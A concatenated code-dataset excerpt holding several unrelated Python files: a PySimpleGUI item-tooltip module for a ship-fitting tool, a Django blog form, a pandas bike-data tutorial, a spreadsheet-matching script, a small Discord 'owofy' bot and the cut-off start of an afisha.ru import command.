(widget.winfo_rootx(), widget.winfo_rooty() + 70)\n\n item_name = None\n item_data = None\n for name in slot_info:\n item_name = name\n item_data = slot_info[name]\n window = self.make_tooltip(slot_type, item_name, item_data, location)\n\n return window\n\n def show_slot_info(self, slot_type, slot_info):\n if self.tooltip is None:\n self.tooltip = self.slot_info_tooltip(slot_type, slot_info)\n\n def hide_slot_info(self):\n if self.tooltip:\n self.tooltip.close()\n self.tooltip = None\n\n def tree_info_tooltip(self, item_position, item_data):\n item_name = item_data[\"text\"]\n item_data = \"{\" + item_data[\"values\"][0] + \"}\"\n item_data = literal_eval(item_data)\n location = (item_position[0] + 100, item_position[1] + 100)\n\n window = self.make_tooltip(self.selected_slot, item_name, item_data, location)\n\n return window\n\n def make_tooltip(self, slot_type, item_name, item_data, position):\n item_type, item_sub_type, item_size, *_ = item_name.split(\"-\")\n item_name = (\"-\").join(item_name.split(\"-\")[3:])\n slot_type = slot_type.split(\"-\")[1]\n layout = []\n item_damage_percent = {}\n if slot_type in {\"high\", \"drone\"}:\n item_damage = item_data[\"damage\"]\n total_damage = 0\n item_damage_percent = {}\n for damage_type in item_damage:\n total_damage += item_damage[damage_type]\n for damage_type in item_damage:\n item_damage_percent[damage_type] = int((item_damage[damage_type] / total_damage) * 100)\n\n item_dps = self.get_dps(item_data)\n if item_type == \"launchers\":\n layout = [\n [sg.Text(\"DPS: \", size=(32, 1), justification='l')] + [sg.Text(str(item_dps), size=(10, 1), justification='r')],\n [sg.Col([[sg.Text(\"EM\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage[\"em\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='em', bar_color=(\"blue\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"THM\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage[\"thermal\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='thermal', bar_color=(\"red\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"KIN\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage[\"kinetic\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='kinetic', bar_color=(\"white\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"EXP\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage[\"explosive\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='explosive', bar_color=(\"yellow\", \"grey\"))]])],\n [sg.Text(\"Tech Level: \", size=(32, 1), justification='l')] + [sg.Text(str(item_data[\"tech_level\"]), size=(10, 1), justification='r')],\n [sg.Text(\"Metalevel: \", size=(32, 1), justification='l')] + [sg.Text(str(item_data[\"metalevel\"]), size=(10, 1), justification='r')],\n [sg.Text(\"Flight Velocity: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"flight_velocity\"], 2)) + \"m/s\", size=(10, 1), justification='r')],\n [sg.Text(\"Powergrid Requirement: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"powergrid\"], 2)) + \"MW\", size=(10, 1), justification='r')],\n [sg.Text(\"Activation Time: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_time\"], 2)) + \"s\", size=(10, 1), justification='r')],\n [sg.Text(\"Explosion Velocity: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"explosion_velocity\"], 2)) + \"m/s\", size=(10, 1), justification='r')],\n [sg.Text(\"Explosion Radius: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"explosion_radius\"], 2)) + \"m\", size=(10, 1), justification='r')],\n [sg.Text(\"Flight Time: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"flight_time\"], 2)) + \"s\", size=(10, 1), justification='r')],\n [sg.Text(\"Reload Time: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"reload_time\"], 2)) + \"s\", size=(10, 1), justification='r')],\n [sg.Text(\"Missile Range: \", size=(32, 1), justification='l')] + [sg.Text(str(self.get_missile_range(item_data)) + \"km\", size=(10, 1), justification='r')],]\n else:\n layout = [\n [sg.Text(\"DPS: \", size=(32, 1), justification='l')] + [sg.Text(str(self.get_dps(item_data)), size=(10, 1), justification='r')],\n [sg.Col([[sg.Text(\"EM\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage[\"em\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='em', bar_color=(\"blue\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"THM\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage[\"thermal\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='thermal', bar_color=(\"red\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"KIN\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage[\"kinetic\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='kinetic', bar_color=(\"white\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"EXP\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage[\"explosive\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='explosive', bar_color=(\"yellow\", \"grey\"))]])],\n [sg.Text(\"Tech Level: \", size=(32, 1), justification='l')] + [sg.Text(str(item_data[\"tech_level\"]), size=(10, 1), justification='r')],\n [sg.Text(\"Metalevel: \", size=(32, 1), justification='l')] + [sg.Text(str(item_data[\"metalevel\"]), size=(10, 1), justification='r')],\n [sg.Text(\"Powergrid Requirement: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"powergrid\"], 2)) + \"MW\", size=(10, 1), justification='r')],\n [sg.Text(\"Activation Time: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_time\"], 2)) + \"s\", size=(10, 1), justification='r')],\n [sg.Text(\"Activation Cost: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_cost\"], 2)) + \"GJ\", size=(10, 1), justification='r')],\n [sg.Text(\"Optimal Range: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"optimal_range\"], 2)) + \"Km\", size=(10, 1), justification='r')],\n [sg.Text(\"Accuracy Falloff: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"accuracy_falloff\"], 2)) + \"Km\", size=(10, 1), justification='r')],\n [sg.Text(\"Tracking Speed: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"tracking_speed\"], 2)), size=(10, 1), justification='r')],]\n if slot_type == \"drone\":\n layout.append([sg.Text(\"Control Range: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"control_range\"], 2)) + \"Km\", size=(10, 1), justification='r')])\n\n elif slot_type == \"low\":\n if item_sub_type == \"hardeners\":\n item_damage_percent = item_data[\"ship\"][\"defenses\"][item_type][\"resists\"]\n layout.append([sg.Frame('',\n [\n [sg.Text(item_type.title() + \" Damage Resistance\")],\n [sg.Col([[sg.Text(\"EM\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage_percent[\"em\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='em', bar_color=(\"blue\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"THM\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage_percent[\"thermal\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='thermal', bar_color=(\"red\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"KIN\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage_percent[\"kinetic\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='kinetic', bar_color=(\"white\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"EXP\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage_percent[\"explosive\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k='explosive', bar_color=(\"yellow\", \"grey\"))]])],\n ])])\n elif item_sub_type == \"dcus\":\n for defense in [\"shield\", \"armor\", \"hull\"]:\n item_damage_percent = item_data[\"ship\"][\"defenses\"][defense][\"resists\"]\n layout.append([sg.Frame('',\n [\n [sg.Text(item_type.title() + \" Damage Resistance\")],\n [sg.Col([[sg.Text(\"EM\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage_percent[\"em\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k=defense + '-em', bar_color=(\"blue\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"THM\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage_percent[\"thermal\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k=defense + '-thermal', bar_color=(\"red\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"KIN\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage_percent[\"kinetic\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k=defense + '-kinetic', bar_color=(\"white\", \"grey\"))]])] +\n [sg.Col([[sg.Text(\"EXP\", size=(3, 1), font=(\"Helvetica\", 8))] + [sg.Text(str(round(item_damage_percent[\"explosive\"], 2)), size=(5, 1), justification=\"r\", font=(\"Helvetica\", 8))], [sg.ProgressBar(100, orientation='h', size=(6, 3), k=defense + '-explosive', bar_color=(\"yellow\", \"grey\"))]])],\n ])])\n layout.append([sg.Text(\"Tech Level: \", size=(32, 1), justification='l')] + [sg.Text(str(item_data[\"tech_level\"]), size=(10, 1), justification='r')])\n layout.append([sg.Text(\"Metalevel: \", size=(32, 1), justification='l')] + [sg.Text(str(item_data[\"metalevel\"]), size=(10, 1), justification='r')])\n layout.append([sg.Text(\"Powergrid Requirement: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"powergrid\"], 2)) + \"MW\", size=(10, 1), justification='r')])\n layout.append([sg.Text(\"Activation Time: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_time\"], 2)) + \"s\", size=(10, 1), justification='r')])\n if item_sub_type in {\"repairers\", \"boosters\"}:\n layout.append([sg.Text(\"Activation Cost: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_cost\"], 2)) + \"GJ\", size=(10, 1), justification='r')])\n layout.append([sg.Text(item_type.title() + \" Amount: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"amount\"], 2)), size=(10, 1), justification='r')])\n elif item_sub_type == \"hardeners\":\n layout.append([sg.Text(\"Activation Cost: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_cost\"], 2)) + \"GJ\", size=(10, 1), justification='r')])\n elif item_sub_type == \"extenders\":\n layout.append([sg.Text(\"Activation Cost: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_cost\"], 2)) + \"GJ\", size=(10, 1), justification='r')])\n layout.append([sg.Text(item_type.title() + \" Bonus Amount: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"ship\"][\"defenses\"][\"shield\"][\"value\"][\"flat\"], 2)), size=(10, 1), justification='r')])\n layout.append([sg.Text(\"Signature Radius Increase: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"ship\"][\"targeting\"][\"signature\"], 2)) + \" m\", size=(10, 1), justification='r')])\n elif item_sub_type == \"plates\":\n layout.append([sg.Text(\"Activation Cost: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_cost\"], 2)) + \"GJ\", size=(10, 1), justification='r')])\n layout.append([sg.Text(item_type.title() + \" Bonus Amount: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"ship\"][\"defenses\"][\"armor\"][\"value\"][\"flat\"], 2)), size=(10, 1), justification='r')])\n layout.append([sg.Text(\"Mass Increase: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"ship\"][\"navigation\"][\"mass\"], 2)) + \" Kg\", size=(10, 1), justification='r')])\n elif item_sub_type == \"batteries\":\n layout.append([sg.Text(item_type.title() + \" Bonus Amount: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"ship\"][\"capacitor\"][\"value\"][\"flat\"], 2)) + \" GJ\", size=(10, 1), justification='r')])\n elif item_sub_type == \"dcus\":\n layout.append([sg.Text(\"Activation Cost: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_cost\"], 2)) + \"GJ\", size=(10, 1), justification='r')])\n elif item_sub_type == \"afterburners\":\n layout.append([sg.Text(\"Activation Cost: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_cost\"], 2)) + \"GJ\", size=(10, 1), justification='r')])\n layout.append([sg.Text(\"Mass Increase: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"ship\"][\"navigation\"][\"mass\"], 2)) + \" Kg\", size=(10, 1), justification='r')])\n layout.append([sg.Text(\"Flight Velocity: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"ship\"][\"navigation\"][\"flight_velocity\"], 2)) + \"%\", size=(10, 1), justification='r')])\n elif item_sub_type == \"damage upgrades\":\n layout.append([sg.Text(\"Activation Cost: \", size=(32, 1), justification='l')] + [sg.Text(str(round(item_data[\"activation_cost\"], 2)) + \"GJ\", size=(10, 1), justification='r')])\n\n\n window = sg.Window(\"test\",\n [[sg.Frame('', [[sg.Text(item_name)]])], [sg.Frame('', layout)]],\n no_titlebar=True,\n finalize=True,\n location=position)\n if item_sub_type == \"dcus\":\n for defense in [\"shield\", \"armor\", \"hull\"]:\n item_damage_percent = item_data[\"ship\"][\"defenses\"][defense][\"resists\"]\n for item_damage_type in item_damage_percent:\n window[defense + \"-\" + item_damage_type].update_bar(item_damage_percent[item_damage_type])\n else:\n for item_damage_type in item_damage_percent:\n window[item_damage_type].update_bar(item_damage_percent[item_damage_type])\n window.read(timeout=1)\n return window\n\n def show_tree_tooltip(self, item_position, item_data):\n self.tooltip = self.tree_info_tooltip(item_position, item_data)\n\n def place(self, elem):\n '''\n Places element provided into a Column element so that its placement is retained.\n :param elem: the element to put into the layout\n :return: A column element containing the provided element\n '''\n return sg.Column([[elem]], pad=(0, 0))\n\n def get_dps(self, item_data):\n dps = 0\n damages = item_data[\"damage\"]\n for damage_type in damages:\n dps += damages[damage_type]\n return round(dps / item_data[\"activation_time\"], 2)\n\n def get_missile_range(self, item_data):\n flight_velocity = item_data[\"flight_velocity\"]\n flight_time = item_data[\"flight_time\"]\n return round(flight_velocity * flight_time / 1000.0, 2)\n\n def make_ship(self, image_filename):\n return self.place(sg.Button('',\n key=\"ship\",\n button_color=sg.TRANSPARENT_BUTTON,\n image_filename=image_filename,\n image_size=(650, 650),\n image_subsample=1,\n border_width=0))\n\n def make_slot(self, key, image_filename=\"ships/blank.png\"):\n return self.place(sg.Button('',\n key=key,\n button_color=sg.TRANSPARENT_BUTTON,\n image_filename=image_filename,\n image_size=(65, 65),\n image_subsample=1,\n border_width=0))\n\n def make_defense(self, defense_type):\n defense = [[sg.Text(defense_type.title() + \":\")] + [sg.Text(\"\", size=(7, 1), key=defense_type + \"-VAL\")],\n [sg.Text(\"EM\", size=(9, 1))] + [sg.Text(\"0\", size=(4, 1), key=\"em-\" + defense_type + \"-VAL\", justification=\"r\")], [sg.ProgressBar(100, orientation='h', size=(10, 3), key=\"em-\" + defense_type + \"-PROG\", bar_color=(\"blue\", \"grey\"))],\n [sg.Text(\"THM\", size=(9, 1))] + [sg.Text(\"0\", size=(4, 1), key=\"thermal-\" + defense_type + \"-VAL\", justification=\"r\")], [sg.ProgressBar(100, orientation='h', size=(10, 3), key=\"thermal-\" + defense_type + \"-PROG\", bar_color=(\"red\", \"grey\"))],\n [sg.Text(\"KIN\", size=(9, 1))] + [sg.Text(\"0\", size=(4, 1), key=\"kinetic-\" + defense_type + \"-VAL\", justification=\"r\")], [sg.ProgressBar(100, orientation='h', size=(10, 3), key=\"kinetic-\" + defense_type + \"-PROG\", bar_color=(\"white\", \"grey\"))],\n [sg.Text(\"EXP\", size=(9, 1))] + [sg.Text(\"0\", size=(4, 1), key=\"explosive-\" + defense_type + \"-VAL\", justification=\"r\")], [sg.ProgressBar(100, orientation='h', size=(10, 3), key=\"explosive-\" + defense_type + \"-PROG\", bar_color=(\"yellow\", \"grey\"))]]\n return defense\n\n def make_treedata(self, slot_data, is_drone=False, max_drone_size=None):\n treedata = sg.TreeData()\n if False:\n for slot_type in slot_data:\n treedata.Insert('', slot_type, slot_type, values=[])\n slot_sizes = slot_data[slot_type]\n for slot_size in slot_data:\n treedata.Insert('', slot_size, slot_size, values=[])\n slot_names = slot_data[slot_size]\n for slot_name in slot_names:\n key = slot_size + \"-drones-\" + slot_name\n treedata.Insert(slot_size, key, slot_name, values=slot_names[slot_name])\n else:\n for slot_type in slot_data:\n treedata.Insert('', slot_type, slot_type, values=[])\n sub_slot_types = slot_data[slot_type]\n for sub_slot_type in sub_slot_types:\n treedata.Insert(slot_type, sub_slot_type, sub_slot_type, values=[])\n slot_sizes = sub_slot_types[sub_slot_type]\n for slot_size in slot_sizes:\n icon_fname = slot_type + \"-\" + sub_slot_type + \"-\" + slot_size\n icon = None\n if not is_drone:\n icon = self.get_icon(icon_fname)\n treedata.Insert(sub_slot_type, slot_size, slot_size, values=[], icon=icon)\n items = slot_sizes[slot_size]\n for item in items:\n item_data = items[item]\n if is_drone:\n icon_fname += \"-\" + item.split(\" \")[-1].lower()\n icon = self.get_icon(icon_fname, faction=item_data[\"faction\"])\n key = slot_type + \"-\" + sub_slot_type + \"-\" + slot_size + \"-\" + item\n treedata.Insert(slot_size, key, item, values=item_data, icon=icon)\n if slot_size == max_drone_size: # limit drones to max size from ship\n break\n return treedata\n\n def get_icon(self, icon_fname, faction='none', size=(24, 24)):\n img = cv2.imread(\"./icons/\" + icon_fname + \".png\")\n if img is not None:\n img = cv2.resize(img, size)\n else:\n img = cv2.imread(\"./icons/blank.png\")\n img = cv2.resize(img, size)\n if faction != 'none':\n for i in range(0, int(size[0] / 3)):\n for j in range(size[1] - int(size[1] / 3) + i, size[1]):\n img[i, j] = COLORS[faction]\n _, buffer = cv2.imencode('.png', img)\n text = base64.b64encode(buffer)\n return text\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":43264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585105874","text":"from django.forms import ModelForm, TextInput, Textarea, CharField\nfrom blog.models import Post\n\n\"\"\"\nTICKET 5: SUBMIT POST FORM\n This ModelForm references the Post model in models.py.\n Minor customization of the field attributes needed to be\n implemented, primarily for styling purposes.\n \n posting_date has been excluded from this form, because it\n defaults to \"now\" and there is no reason to force the user\n to input a date when the intention is for the date to reflect\n actual submission time.\n\"\"\"\nclass PostForm(ModelForm):\n tags = CharField(\n label=\"Tags\",\n required = False,\n widget = TextInput(\n attrs={\n 'class': 'pure-u-1',\n }\n )\n )\n\n class Meta:\n model = Post\n exclude = ('author', 'posting_date',)\n widgets = {\n 'title': TextInput(\n attrs={\n 'required': True,\n 'class': 'pure-u-1',\n }\n ),\n 'body': Textarea(\n attrs={\n 'required': True,\n 'class': 'pure-u-1',\n }\n ),\n }\n","sub_path":"blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367334364","text":"#!/usr/bin/env python\n\n#This script is a very simple example of how to process data with python.\n# The module pandas is very well suited for data structure... \n\n#Okay! We're going to look at a bike dataset fro Montreal.\n#Is it a commuter city or a biking-for-fun city -- do people bike more on weekends, \n#or on weekdays?\n\n#adapted from http://nbviewer.jupyter.org/github/jvns/pandas-cookbook/blob/master/cookbook/Chapter%204%20-%20Find%20out%20on%20which%20weekday%20people%20bike%20the%20most%20with%20groupby%20and%20aggregate.ipynb\n\nimport pandas as pd # pandas is a python fo data strucre \nimport matplotlib.pyplot as plt\n\nplt.ion() # make plot appear each time\n\n\n\n#loading the data, don't be afraid the help to understand more . help(pd.read_csv())\nbikes = pd.read_csv('bikes.csv', sep=';', encoding='latin1', parse_dates=['Date'], dayfirst=True, index_col='Date')\n\n#make a first plot to look at biking in the berri neighborhood \nbikes['Berri 1'].plot() \n\n\n# create a data frame only with the berri neighborhood to focus on it\ntype(berri_bikes) # Berri is a dataframe, an object defined by the panda library.\nberri_bikes = bikes[['Berri 1']].copy() # it uses the copy method on this object\n\n#look at the first 5 data points\nberri_bikes[:5]\n\n\n# We are now gonna transform these dates on weekdays to analyse the data in that way.\nberri_bikes.index \n# we can see that there are only 310 days covered\n\n# we can check which day of the month \nberri_bikes.index.day\n\n# Or we can check which day of the week (mon-sun) \nberri_bikes.index.weekday\n\n\n#Let's add a column weekday to our data frame\nberri_bikes.loc[:,'weekday'] = berri_bikes.index.weekday\nberri_bikes[:5]\n\n# Let's count the number of bikes per day by summing the number of bikes\nweekday_counts = berri_bikes.groupby('weekday').aggregate(sum)\nweekday_counts\n\n\n#replace this weekday numbers by actual week days\nweekday_counts.index = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\nweekday_counts\n\n\n\n#and plot it\nweekday_counts.plot(kind='bar')\n\n\n#remember you also so this plot\nbikes['Berri 1'].plot() \n\n\n#But python can do a lot more cool plots\n# Are you curious? Surely there is something for your paper!\n# Have a look to the link below. Alot of plots are visible\n# and the code is always provided.\n#https://matplotlib.org/gallery.html\n","sub_path":"2308_abitmoreofpython/data_and_plotting.py","file_name":"data_and_plotting.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"599548926","text":"import xlrd\nfrom openpyxl import load_workbook\n\n\nforms = xlrd.open_workbook('Extrato_Bradesco_Totvs_Janeiro_2018 - Copia - Copia.xls')\nsh = forms.sheet_by_index(1)\nbase = xlrd.open_workbook('BASE.xlsx')\nsb = base.sheet_by_index(1)\n\n\ndoc=[]\narq=[]\n\n##var desc\njoin=[]\ncliente=[]\nconta=[]\n\n##for rx in range(sh.nrows):\n## for cx in range(sh.ncols):\n## if sh.cell(rx,cx).value==\"\":\n## print(\"none\",end=' ')\n## else:\n## print(rx,\":\",cx,\" \",sh.cell(rx,cx).value, end=' ')\n## print(\"\\n\")\n##data\n\nfor rowBase in range(sb.nrows):\n for i in range(0,1): \n join.append(str(sb.cell(rowBase,6).value))\n if sb.cell(rowBase,3).value==81:##codigo da conta banco\n join.append(str(sb.cell(rowBase,2).value))\n else:\n join.append(str(sb.cell(rowBase,3).value))\n cliente.append(join)\n join=[]\n\n##print(cliente)\n\nfor rowExt in range(sh.nrows):\n for cli in range(len(cliente)):\n if str(sh.cell(rowExt,3).value).find(cliente[cli][0])!=-1:\n \n if str(sh.cell(rowExt,10).value)==\"\":\n cliente[cli].append(sh.cell(rowExt,9).value)\n else:\n cliente[cli].append(sh.cell(rowExt,10).value)\n\nbook = load_workbook('base.xlsx')\ncellW = book['Planilha1']\n\nprint(cliente[2][:-2])\n\nfor c in cliente:\n for x in range(cellW.max_row):\n if cellW.cell(row=x+1, column=1).value==c[1][:-2]:\n cellW.cell(row=x+1, column=1).value=c[2]\n\nbook.save('base.xlsx')\n\n\n##for rx in range(sh.nrows):\n## for i in range(0,1):\n## ##data\n## doc.append(sh.cell(rx,0).value)\n## ##conta debito/credito\n## if str(sh.cell(rx,1).value).find(\"VALOR RECE\")==-1:\n## doc.append('DEBITO')\n## doc.append('81')\n## else:\n## doc.append('81')\n## doc.append('CREDITO')\n## ##valor\n## if not sh.cell(rx,5).value==\"\":\n## doc.append(sh.cell(rx,5).value)\n## else:\n## doc.append(sh.cell(rx,4).value)\n## ##historico\n## \n## ##complemento\n## \n## arq.append(doc)\n## doc=[]\n##\n##\n\n##for rx in range(sh.nrows):\n## print(sh.cell(rx,0).value)\n","sub_path":"buts/buts/oceanus/rXml.py","file_name":"rXml.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"409362931","text":"import discord\nimport os\nimport random\nimport time\nfrom discord.ext import commands\nfrom urllib import request\nfrom random import randrange\nimport json\nimport ssl\n\nbot = commands.Bot(command_prefix='^', description=\"Now with 100% more cringe!\")\n\n@bot.event\nasync def on_ready():\n print('Logged in as')\n print(bot.user.name)\n print(bot.user.id)\n print('------')\n #await bot.change_presence(activity = discord.Activity(name = \"What's this?\", type = 3))\n\n\n@bot.command(aliases = [\"p\"])\nasync def ping(ctx):\n \"\"\"checks if bot is running (admin only)\"\"\"\n if ctx.author.id == 192735146003267584 or ctx.author.id == 133642107259846657:\n await ctx.send(\"UwU\")\n\n\n@bot.command()\nasync def shutdown(ctx):\n \"\"\"shutdown the bot (admin only)\"\"\"\n if ctx.author.id == 192735146003267584 or ctx.author.id == 133642107259846657:\n await ctx.send(\"Goodbye senpai uwu\")\n exit()\n #else:\n #await ctx.send(\"I'm sorry, you don't have permission to do that!\")\n\n\n#@bot.command()\n#async def pm(ctx, sendto: str, msgtosend: str):\n# msg = ctx.message\n# user = await bot.get_user_info(int(sendto))\n# await user.send(msgtosend)\n# await msg.add_reaction(\"✅\")\n\n\n\n@bot.event\nasync def on_message(message):\n if \"owo\" in message.content.lower() or \"uwu\" in message.content.lower():\n if \"^\" not in message.content.lower() and message.author.id != 605445941285224455:\n await message.channel.send(\"What's this?\")\n await bot.process_commands(message)\n\n\n@bot.command(aliases = [\"uwufy\"])\nasync def owofy(ctx):\n \"\"\"OwOfy a message! Usage: ^owofy [message]\"\"\"\n msg = ctx.message\n try:\n await msg.delete()\n except:\n pass\n totranslate = str(msg.content)\n if len(totranslate) > 6:\n id = ('<@%s>' % ctx.author.id)\n totranslate = totranslate.replace(\"^owofy\", \"\")\n totranslate = totranslate.replace(\"r\", \"w\")\n totranslate = totranslate.replace(\"l\", \"w\")\n #totranslate = totranslate.replace(\"you\", \"senpai\")\n totranslate = totranslate + \" UwU\" + (\"\\n - %s\" % id)\n await ctx.send(totranslate)\n else:\n await ctx.send(\"You need to put a message after the command! (^owofy [message])\")\n\n@bot.command(aliases = [\"git\"])\nasync def github(ctx):\n \"\"\"PMs you the github link\"\"\"\n user = ctx.author\n await user.send(\"https://github.com/rompy1/owo-bot\")\n try:\n await msg.delete()\n except:\n pass\n\n@bot.command()\nasync def servers(ctx):\n \"\"\"Lists the amount of servers I'm running on\"\"\"\n amount = len(bot.guilds)\n await ctx.send(\"%d servers are currently OwOfied!\" % amount)\n \n \n\nbot.run(str(os.environ.get('BOT_TOKEN')))\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"270052295","text":"# -*- coding: utf-8 -*-\n\"\"\"\n fetchers.management.commands.import_afisha\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n Import data from afisha.ru resource.\n :copyright: (c) 2015 by Rambler&Co.\n\"\"\"\n\nimport logging\n\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nfrom dateutil.parser import parse as date_parser\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\nfrom itertools import groupby\nfrom optparse import make_option\n\nfrom admin_app.core.models import City\nfrom admin_app.core.utils.options import SOURCES\nfrom admin_app.events.models import Event\nfrom admin_app.events.models import EventPlace\nfrom admin_app.events.models import Session\nfrom admin_app.fetchers.helpers import BaseAPI\nfrom admin_app.fetchers.helpers import BaseImport\nfrom admin_app.places.models import Place\n\nlogger = logging.getLogger('Import afisha.ru')\n\n\nclass Command(BaseCommand):\n help = \"\"\"\n Command start importing data from afisha\n (url=http://s5.afisha.net/Export-RamblerKids)\n to family-rambler project.\n\n Examples of usage:\n - import all data:\n $ python manage.py import_afisha\n - import data just for chosen cities*:\n $ python manage.py import_afisha -c msk -c omsk\n\n *list of names of cities you could found in names of\n files from page: http://s5.afisha.net/Export-RamblerKids\n \"\"\"\n option_list = BaseCommand.option_list + (\n make_option('-c', '--city',\n action='append', dest='city', type='string',\n help='Please type a city.'),\n )\n\n SOURCE_URL = SOURCES['afisha']['url']\n\n def __init__(self):\n super(Command, self).__init__()\n self.import_class = AfishaImport(\n source_url=self.SOURCE_URL,\n logger=logger,\n )\n\n def handle(self, *args, **options):\n cities = options.get('city')\n self.import_class.make_import(cities=cities)\n\n\nclass AfishaAPI(BaseAPI):\n\n def get_files(self, **kwargs):\n return self.request(\n path='/',\n **kwargs\n )\n\n def get_data(self, path):\n return 